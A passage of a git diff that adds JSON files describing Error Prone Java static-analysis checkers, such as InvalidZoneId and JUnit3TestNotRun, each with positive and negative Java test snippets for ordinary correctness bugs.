Diagnostic contains:\n TimeZone.getTimeZone(\"America/Los_Angele\");\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"KST\");\n }\n\n public static void invalidCustomIDs() {\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"UTC+0\");\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"GMT+24\");\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"GMT1\");\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"GMT/0\");\n }\n\n public static void underscoreSuggestion() {\n // BUG: Diagnostic contains: America/Los_Angeles\n TimeZone.getTimeZone(\"America/Los Angeles\");\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package a;\n\n import java.util.TimeZone;\n\n class A {\n private static final String TIMEZONE_ID = \"America/New_York\";\n\n public static void ianaIDs() {\n TimeZone.getTimeZone(\"America/Los_Angeles\");\n TimeZone.getTimeZone(TIMEZONE_ID);\n TimeZone.getTimeZone(\"Europe/London\");\n }\n\n public static void customIDs() {\n // Custom IDs\n TimeZone.getTimeZone(\"GMT+0\");\n TimeZone.getTimeZone(\"GMT+00\");\n TimeZone.getTimeZone(\"GMT+00:00\");\n }\n\n public static void threeLetterIDs() {\n TimeZone.getTimeZone(\"GMT\");\n TimeZone.getTimeZone(\"UTC\");\n // Some 3-letter IDs are deprecated, but are still recognized.\n TimeZone.getTimeZone(\"PST\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidZoneId.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidZoneId.json new file mode 100644 index 0000000..abbb7fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidZoneId.json @@ -0,0 +1,30 @@ +{ + "name": "InvalidZoneId", + "language": "java", + "description": "Invalid zone identifier. ZoneId.of(String) will throw exception at runtime.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package a;\n\n import java.time.ZoneId;\n\n class A {\n private static final String TIMEZONE_ID = \"unknown\";\n\n public static void test() {\n // BUG: Diagnostic contains:\n ZoneId.of(\"\");\n // BUG: Diagnostic contains:\n ZoneId.of(\"unknown\");\n // BUG: Diagnostic contains:\n ZoneId.of(TIMEZONE_ID);\n // BUG: Diagnostic contains:\n ZoneId.of(\"America/Los_Angele\");\n // BUG: Diagnostic contains:\n ZoneId.of(\"America/Los Angeles\");\n // BUG: Diagnostic contains:\n ZoneId.of(\"KST\");\n }\n\n public static void invalidCustomIDs() {\n // BUG: Diagnostic contains:\n ZoneId.of(\"GMT+24\");\n // BUG: Diagnostic contains:\n ZoneId.of(\"GMT1\");\n // BUG: Diagnostic contains:\n ZoneId.of(\"GMT/0\");\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "package a;\n\n import java.time.ZoneId;\n\n class A {\n private static final String TIMEZONE_ID = \"America/New_York\";\n\n public static void ianaIDs() {\n ZoneId.of(\"America/Los_Angeles\");\n ZoneId.of(TIMEZONE_ID);\n ZoneId.of(\"Europe/London\");\n }\n\n public static void customIDs() {\n // Custom IDs\n ZoneId.of(\"GMT+0\");\n ZoneId.of(\"GMT+00\");\n ZoneId.of(\"GMT+00:00\");\n ZoneId.of(\"GMT+00:00:00\");\n }\n\n public static void twoLetterIDs() {\n ZoneId.of(\"UT\");\n }\n\n public static void threeLetterIDs() {\n ZoneId.of(\"GMT\");\n ZoneId.of(\"UTC\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceIncompatibleType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceIncompatibleType.json new file mode 100644 index 0000000..d12e857 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceIncompatibleType.json @@ -0,0 +1,86 @@ +{ + "name": "IsInstanceIncompatibleType", + "language": "java", + "description": "This use of isInstance will always evaluate to false.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveInstanceOf", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Optional;\n\n class Test {\n Optional f(Optional s) {\n // BUG: Diagnostic contains: String cannot be cast to Integer\n return s.filter(Integer.class::isInstance);\n }\n }" + }, + { + "description": "positiveInstanceOf_methodCall", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.util.Optional;\n\n class Test {\n Optional f(Optional s) {\n // BUG: Diagnostic contains: String cannot be cast to Integer\n return s.filter(x -> Integer.class.isInstance(x));\n }\n }" + }, + { + "description": "positiveInstanceOf2", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import java.util.Optional;\n import java.util.HashMap;\n\n class Test {\n Optional> f(Optional> m) {\n // BUG: Diagnostic contains: HashMap cannot be cast to Integer\n return m.filter(Integer.class::isInstance);\n }\n }" + }, + { + "description": "positiveInstanceOfWithGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import java.util.Optional;\n import java.lang.Number;\n\n class Test {\n Optional f(Optional t) {\n // BUG: Diagnostic contains: Number cannot be cast to String\n return t.filter(String.class::isInstance);\n }\n }" + }, + { + "description": "negativeInstanceOf", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.Optional;\n import java.util.HashMap;\n import java.util.LinkedHashMap;\n\n class Test {\n Optional f(Optional m) {\n return m.filter(LinkedHashMap.class::isInstance);\n }\n }" + }, + { + "description": "negativeInstanceOf_methodCall", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "import java.util.Optional;\n import java.util.HashMap;\n import java.util.LinkedHashMap;\n\n class Test {\n Optional f(Optional m) {\n return m.filter(x -> LinkedHashMap.class.isInstance(x));\n }\n }" + }, + { + "description": "negativeInstanceOf2", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "import java.util.Optional;\n import java.util.HashMap;\n import java.util.LinkedHashMap;\n\n class Test {\n Optional> f(Optional> m) {\n return m.filter(LinkedHashMap.class::isInstance);\n }\n }" + }, + { + "description": "negativeInstanceOfWithGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "import java.util.Optional;\n\n class Test {\n Optional f(Optional t) {\n return t.filter(Object.class::isInstance);\n }\n }" + }, + { + "description": "rawTypes", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "import java.util.Optional;\n\n class Test {\n boolean f(Object o, Class c) {\n return c.isInstance(o);\n }\n\n Optional f(Optional t, Class c) {\n return t.filter(c::isInstance);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceOfClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceOfClass.json new file mode 100644 index 0000000..02b3172 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceOfClass.json @@ -0,0 +1,86 @@ +{ + "name": "IsInstanceOfClass", + "language": "java", + "description": "The argument to Class#isInstance(Object) should not be a Class", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 107, + "branches": 16, + "apis": 3, + "test": [ + { + "description": "positive_clazz_enclosingClass", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class A {\n boolean m(Class clazz) {\n // BUG: Diagnostic contains: clazz.isAssignableFrom(getClass())\n return getClass().isInstance(clazz);\n }\n }" + }, + { + "description": "positive_enclosingClass_clazz", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "class A {\n boolean m(Class clazz) {\n // BUG: Diagnostic contains: getClass().isAssignableFrom(clazz)\n return clazz.isInstance(getClass());\n }\n }" + }, + { + "description": "positive_getClass_getClass", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "class A {\n boolean m(Object a, Object b) {\n // BUG: Diagnostic contains: b.getClass().isInstance(a)\n return a.getClass().isInstance(b.getClass());\n }\n }" + }, + { + "description": "positive_getClass_literal", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "class A {\n boolean m(Object obj) {\n // BUG: Diagnostic contains: obj instanceof String\n return obj.getClass().isInstance(String.class);\n }\n }" + }, + { + "description": "positive_literal_getClass", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "class A {\n boolean m(Object obj) {\n // BUG: Diagnostic contains: obj instanceof String\n return String.class.isInstance(obj.getClass());\n }\n }" + }, + { + "description": "positive_literal_literal", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "class A {\n boolean m(Object obj) {\n // BUG: Diagnostic contains: String.class == Class.class\n return Number.class.isInstance(String.class);\n }\n }" + }, + { + "description": "positive_clazz_getClass", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "class A {\n boolean m(Object o, Class clazz) {\n // BUG: Diagnostic contains: clazz.isInstance(o)\n return clazz.isInstance(o.getClass());\n }\n }" + }, + { + "description": "positive_getClass_clazz", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "class A {\n boolean m(Object o, Class clazz) {\n // BUG: Diagnostic contains: clazz.isInstance(o)\n return o.getClass().isInstance(clazz);\n }\n }" + }, + { + "description": "positive_clazz_clazz", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "class A {\n boolean m(Class a, Class b) {\n // BUG: Diagnostic contains: b.isAssignableFrom(a)\n return a.isInstance(b);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterableAndIterator.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterableAndIterator.json new file mode 100644 index 0000000..98da598 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterableAndIterator.json @@ -0,0 +1,30 @@ +{ + "name": "IterableAndIterator", + "language": "java", + "description": "Class should not implement both `Iterable` and `Iterator`", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Iterator;\n\n/**\n * @author jsjeon@google.com (Jinseong Jeon)\n */\npublic class IterableAndIteratorPositiveCases {\n\n /** Test Node */\n public static class MyNode {\n String tag;\n MyNode next;\n }\n\n /** Test List that implements both Iterator and Iterable */\n // BUG: Diagnostic contains: both\n public static class MyBadList implements Iterator, Iterable {\n private MyNode head;\n\n public MyBadList() {\n head = null;\n }\n\n @Override\n public boolean hasNext() {\n return head != null;\n }\n\n @Override\n public MyNode next() {\n if (hasNext()) {\n MyNode ret = head;\n head = head.next;\n return ret;\n }\n return null;\n }\n\n @Override\n public void remove() {\n throw new UnsupportedOperationException(\"remove is not supported\");\n }\n\n public void add(MyNode node) {\n if (!hasNext()) {\n head.next = node;\n }\n head = node;\n }\n\n @Override\n public Iterator iterator() {\n return this;\n }\n }\n\n /** Test List that extends the above bad implementation Diagnostic should bypass this */\n public static class MyBadListInherited extends MyBadList {\n public MyBadListInherited() {}\n }\n\n /** Test List that implements only Iterator */\n public static class MyGoodList implements Iterator {\n private MyNode head;\n\n public MyGoodList() {\n head = null;\n }\n\n @Override\n public boolean hasNext() {\n return head != null;\n }\n\n @Override\n public MyNode next() {\n if (hasNext()) {\n MyNode ret = head;\n head = head.next;\n return ret;\n }\n return null;\n }\n\n @Override\n public void remove() {\n throw new UnsupportedOperationException(\"remove is not supported\");\n }\n\n public void add(MyNode node) {\n if (!hasNext()) {\n head.next = node;\n }\n head = node;\n }\n }\n\n /** Test List that implicitly implements both interfaces */\n // BUG: Diagnostic contains: both\n public static class MyImplicitlyBadList extends MyGoodList implements Iterable {\n\n public MyImplicitlyBadList() {}\n\n @Override\n public Iterator iterator() {\n return this;\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Iterator;\n\n /**\n * @author jsjeon@google.com (Jinseong Jeon)\n */\n public class IterableAndIteratorNegativeCases {\n\n /** Test Node */\n public static class MyNode {\n String tag;\n MyNode next;\n }\n\n /** Test List that implements only Iterator */\n public static class MyList1 implements Iterator {\n private MyNode head;\n\n public MyList1() {\n head = null;\n }\n\n @Override\n public boolean hasNext() {\n return head != null;\n }\n\n @Override\n public MyNode next() {\n if (hasNext()) {\n MyNode ret = head;\n head = head.next;\n return ret;\n }\n return null;\n }\n\n @Override\n public void remove() {\n throw new UnsupportedOperationException(\"remove is not supported\");\n }\n\n public void add(MyNode node) {\n if (!hasNext()) {\n head.next = node;\n }\n head = node;\n }\n }\n\n /** Test List that implements only Iterable */\n public static class MyList2 implements Iterable {\n\n @Override\n public Iterator iterator() {\n MyList1 l = new MyList1();\n // code to populate the list goes here\n return l;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterablePathParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterablePathParameter.json new file mode 100644 index 0000000..1f85992 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterablePathParameter.json @@ -0,0 +1,46 @@ +{ + "name": "IterablePathParameter", + "language": "java", + "description": "Path implements Iterable; prefer Collection for clarity", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.nio.file.Path;\n\n class Test {\n // BUG: Diagnostic contains: f(Collection xs)\n void f(Iterable xs) {}\n\n // BUG: Diagnostic contains: g(Collection xs)\n void g(Iterable xs) {}\n\n // BUG: Diagnostic contains: h(Collection xs)\n void h(Iterable xs) {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import java.nio.file.Path;\n import java.util.Collection;\n\n class Test {\n void f(Collection xs) {}\n }" + }, + { + "description": "raw", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "class Test {\n void f(Iterable xs) {}\n }" + }, + { + "description": "implicitLambda", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import java.nio.file.Path;\n import java.util.function.Consumer;\n\n class Test {\n // BUG: Diagnostic contains:\n Consumer> c = (paths) -> {};\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3FloatingPointComparisonWithoutDelta.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3FloatingPointComparisonWithoutDelta.json new file mode 100644 index 0000000..f33afd1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3FloatingPointComparisonWithoutDelta.json @@ -0,0 +1,166 @@ +{ + "name": "JUnit3FloatingPointComparisonWithoutDelta", + "language": "java", + "description": "Floating-point comparison without error tolerance", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 149, + "branches": 18, + "apis": 1, + "test": [ + { + "description": "match_twoPrimitiveDoubles", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "" + }, + { + "description": "match_primitiveAndReferenceDouble", + "expected-problems": null, + "expected-linenumbers": [ + 41 + ], + "code": "" + }, + { + "description": "match_referenceAndPrimitiveDouble", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "noMatch_twoReferenceDoubles", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "" + }, + { + "description": "match_twoPrimitiveDoublesWithMessage", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "" + }, + { + "description": "noMatch_deltaArgumentUsed", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "" + }, + { + "description": "noMatch_twoPrimitiveInts", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "" + }, + { + "description": "noMatch_twoStrings", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "" + }, + { + "description": "noMatch_primitiveDoubleAndString", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "" + }, + { + "description": "match_twoPrimitiveFloats", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "" + }, + { + "description": "match_referenceAndPrimitiveFloat", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "" + }, + { + "description": "noMatch_twoReferenceFloats", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "" + }, + { + "description": "match_primitiveFloatAndPrimitiveDouble", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "" + }, + { + "description": "match_primitiveFloatAndReferenceDouble", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "" + }, + { + "description": "match_primitiveIntAndPrimitiveDouble", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "" + }, + { + "description": "match_primitiveDoubleAndReferenceInteger", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "" + }, + { + "description": "match_primitiveCharAndPrimitiveDouble", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "" + }, + { + "description": "noMatch_notAssertEquals", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "" + }, + { + "description": "noMatch_notTestCase", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "public class SampleClass {\n public void assertEquals(double d1, double d2) {}\n\n public void f() {\n assertEquals(1.0, 1.0);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3TestNotRun.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3TestNotRun.json new file mode 100644 index 0000000..d5e0aa4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3TestNotRun.json @@ -0,0 +1,278 @@ +{ + "name": "JUnit3TestNotRun", + "language": "java", + "description": "Test method will not be run; please correct method signature (Should be public, non-static, and method name should begin with \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 150, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n\n /**\n * @author rburny@google.com (Radoslaw Burny)\n */\n public class JUnit3TestNotRunPositiveCases extends TestCase {\n // BUG: Diagnostic contains: JUnit3TestNotRun\n public static void tesNameStatic() {}\n\n // These names are trickier to correct, but we should still indicate the bug\n // BUG: Diagnostic contains: JUnit3TestNotRun\n public void tetsName() {}\n\n // BUG: Diagnostic contains: JUnit3TestNotRun\n public void tesstName() {}\n\n // BUG: Diagnostic contains: JUnit3TestNotRun\n public void tesetName() {}\n\n // BUG: Diagnostic contains: JUnit3TestNotRun\n public void tesgName() {}\n\n // tentative - can cause false positives\n // BUG: Diagnostic contains: JUnit3TestNotRun\n public void textName() {}\n }\\" + }, + { + "description": "misspelledTest", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n\n public class PositiveCases extends TestCase {\n public void tesName1() {}\n\n public void ttestName2() {}\n\n public void teestName3() {}\n\n public void tstName4() {}\n\n public void tetName5() {}\n\n public void etstName6() {}\n\n public void tsetName7() {}\n\n public void teatName8() {}\n\n public void TestName9() {}\n\n public void TEST_NAME_10() {}\n\n public void tesname11() {}\n }\n \n\n import junit.framework.TestCase;\n import org.junit.Test;\n\n public class PositiveCases extends TestCase {\n public void testName1() {}\n\n public void testName2() {}\n\n public void testName3() {}\n\n public void testName4() {}\n\n public void testName5() {}\n\n public void testName6() {}\n\n public void testName7() {}\n\n public void testName8() {}\n\n public void testName9() {}\n\n public void test_NAME_10() {}\n\n public void testname11() {}\n }" + }, + { + "description": "substitutionShouldBeWellFormed", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n\n public class PositiveCases extends TestCase {\n public void tesBasic() {}\n\n public void tesMoreSpaces() {}\n\n public void tesMultiline() {}\n }\n \n\n import junit.framework.TestCase;\n import org.junit.Test;\n\n public class PositiveCases extends TestCase {\n public void testBasic() {}\n\n public void testMoreSpaces() {}\n\n public void testMultiline() {}\n }" + }, + { + "description": "privateNamedTest", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import junit.framework.TestCase;\n\n public class Test extends TestCase {\n // BUG: Diagnostic contains:\n private void testDoesStuff() {}\n }" + }, + { + "description": "privateMisspelledTest", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "import junit.framework.TestCase;\n\n public class Test extends TestCase {\n // BUG: Diagnostic contains:\n private void tsetDoesStuff() {}\n }" + }, + { + "description": "hasModifiersAndThrows", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n\n public class DoesStuffTest extends TestCase {\n private static void tsetDoesStuff() throws Exception {}\n }\n \n\n import junit.framework.TestCase;\n import org.junit.Test;\n\n public class DoesStuffTest extends TestCase {\n public void testDoesStuff() throws Exception {}\n }" + }, + { + "description": "hasParameters_butOtherwiseLooksLikeATestMethod", + "expected-problems": null, + "expected-linenumbers": [ + 232 + ], + "code": "import junit.framework.TestCase;\n\n public class Test extends TestCase {\n // BUG: Diagnostic contains:\n public void testDoesStuff(boolean param) {}\n }" + }, + { + "description": "suppressionWorks", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "import junit.framework.TestCase;\n\n public class Test extends TestCase {\n @SuppressWarnings(\"JUnit3TestNotRun\")\n public void testDoesStuff(boolean param) {}\n }" + }, + { + "description": "hasParameters_butInABaseClass", + "expected-problems": null, + "expected-linenumbers": [ + 264 + ], + "code": "import junit.framework.TestCase;\n\n public class TestBase extends TestCase {\n public void testDoesStuff(boolean param) {}\n }" + }, + { + "description": "hasParameters_calledElsewhere_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "import junit.framework.TestCase;\n\n public class Test extends TestCase {\n public void testActually() {\n testDoesStuff(true);\n }\n\n public void testDoesStuff(boolean param) {}\n }" + }, + { + "description": "hasParameters_isOverride_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 298 + ], + "code": "interface Foo {\n void testDoesStuff(boolean param);\n }\n \n\n import junit.framework.TestCase;\n\n public class Test extends TestCase implements Foo {\n public void testDoesStuff(boolean param) {}\n }" + }, + { + "description": "noModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 320 + ], + "code": "import junit.framework.TestCase;\n import org.junit.Test;\n\n public class DoesStuffTest extends TestCase {\n void tsetDoesStuff() {}\n }\n \n\n import junit.framework.TestCase;\n import org.junit.Test;\n\n public class DoesStuffTest extends TestCase {\n public void testDoesStuff() {}\n }" + }, + { + "description": "negativeCase1", + "expected-problems": null, + "expected-linenumbers": [ + 346 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n import org.junit.Ignore;\n import org.junit.Test;\n\n /**\n * @author rburny@google.com (Radoslaw Burny)\n */\n public class JUnit3TestNotRunNegativeCase1 extends TestCase {\n\n // correctly spelled\n public void test() {}\n\n public void testCorrectlySpelled() {}\n\n // real words\n public void bestNameEver() {}\n\n public void destroy() {}\n\n public void restore() {}\n\n public void establish() {}\n\n public void estimate() {}\n\n // different signature\n public boolean teslaInventedLightbulb() {\n return true;\n }\n\n public void tesselate(float f) {}\n\n // surrounding class is not a JUnit3 TestCase\n private static class TestCase {\n private void tesHelper() {}\n\n private void destroy() {}\n }\n\n // correct test, despite redundant annotation\n @Test\n public void testILikeAnnotations() {}\n\n // both @Test & @Ignore\n @Test\n @Ignore\n public void ignoredTest2() {}\n\n @Ignore\n @Test\n public void ignoredTest() {}\n }\\" + }, + { + "description": "testILikeAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 394 + ], + "code": "" + }, + { + "description": "ignoredTest", + "expected-problems": null, + "expected-linenumbers": [ + 403 + ], + "code": "" + }, + { + "description": "ignoredTest", + "expected-problems": null, + "expected-linenumbers": [ + 403 + ], + "code": "" + }, + { + "description": "ignoredTest", + "expected-problems": null, + "expected-linenumbers": [ + 403 + ], + "code": "" + }, + { + "description": "negativeCase2", + "expected-problems": null, + "expected-linenumbers": [ + 410 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /**\n * JUnit4 test class - we should not issue errors on that.\n *\n * @author rburny@google.com (Radoslaw Burny)\n */\n @RunWith(JUnit4.class)\n public class JUnit3TestNotRunNegativeCase2 {\n\n // JUnit4 tests should be ignored, no matter what their names are.\n @Test\n public void nameDoesNotStartWithTest() {}\n\n @Test\n public void tesName() {}\n\n @Test\n public void tstName() {}\n\n @Test\n public void TestName() {}\n }\\" + }, + { + "description": "nameDoesNotStartWithTest", + "expected-problems": null, + "expected-linenumbers": [ + 431 + ], + "code": "" + }, + { + "description": "tesName", + "expected-problems": null, + "expected-linenumbers": [ + 434 + ], + "code": "" + }, + { + "description": "tstName", + "expected-problems": null, + "expected-linenumbers": [ + 437 + ], + "code": "" + }, + { + "description": "TestName", + "expected-problems": null, + "expected-linenumbers": [ + 440 + ], + "code": "" + }, + { + "description": "negativeCase3", + "expected-problems": null, + "expected-linenumbers": [ + 447 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runner.Runner;\n\n /**\n * Tricky case - mixed JUnit3 and JUnit4.\n *\n * @author rburny@google.com (Radoslaw Burny)\n */\n @RunWith(Runner.class)\n public class JUnit3TestNotRunNegativeCase3 extends TestCase {\n\n @Test\n public void name() {}\n\n public void tesMisspelled() {}\n\n @Test\n public void tesBothIssuesAtOnce() {}\n }\\" + }, + { + "description": "name", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "" + }, + { + "description": "tesBothIssuesAtOnce", + "expected-problems": null, + "expected-linenumbers": [ + 473 + ], + "code": "" + }, + { + "description": "negativeCase4", + "expected-problems": null, + "expected-linenumbers": [ + 480 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport junit.framework.TestCase;\nimport org.junit.Test;\n\n/**\n * Abstract class - let's ignore those for now, it's hard to say what are they run with.\n *\n * @author rburny@google.com (Radoslaw Burny)\n */\npublic abstract class JUnit3TestNotRunNegativeCase4 extends TestCase {\n\n @Test\n public void name() {}\n\n public void tesMisspelled() {}\n\n @Test\n public void tesBothIssuesAtOnce() {}\n}\\" + }, + { + "description": "name", + "expected-problems": null, + "expected-linenumbers": [ + 498 + ], + "code": "" + }, + { + "description": "tesBothIssuesAtOnce", + "expected-problems": null, + "expected-linenumbers": [ + 503 + ], + "code": "" + }, + { + "description": "negativeCase5", + "expected-problems": null, + "expected-linenumbers": [ + 510 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runner.Runner;\n\n /**\n * Tricky case - mixed JUnit3 and JUnit4.\n *\n * @author rburny@google.com (Radoslaw Burny)\n */\n @RunWith(Runner.class)\n public class JUnit3TestNotRunNegativeCase3 extends TestCase {\n\n @Test\n public void name() {}\n\n public void tesMisspelled() {}\n\n @Test\n public void tesBothIssuesAtOnce() {}\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.Test;\n\n /**\n * Class inherits RunWith from superclass, so should not emit errors.\n *\n * @author rburny@google.com (Radoslaw Burny)\n */\n public class JUnit3TestNotRunNegativeCase5 extends JUnit3TestNotRunNegativeCase3 {\n\n public void testEasyCase() {}\n\n @Test\n public void name() {}\n\n public void tesMisspelled() {}\n\n @Test\n public void tesBothIssuesAtOnce() {}\n }\\" + }, + { + "description": "name", + "expected-problems": null, + "expected-linenumbers": [ + 531 + ], + "code": "" + }, + { + "description": "tesBothIssuesAtOnce", + "expected-problems": null, + "expected-linenumbers": [ + 536 + ], + "code": "" + }, + { + "description": "name", + "expected-problems": null, + "expected-linenumbers": [ + 557 + ], + "code": "" + }, + { + "description": "tesBothIssuesAtOnce", + "expected-problems": null, + "expected-linenumbers": [ + 562 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassAnnotationNonStatic.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassAnnotationNonStatic.json new file mode 100644 index 0000000..cf9b8b0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassAnnotationNonStatic.json @@ -0,0 +1,30 @@ +{ + "name": "JUnit4ClassAnnotationNonStatic", + "language": "java", + "description": "This method should be static", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import 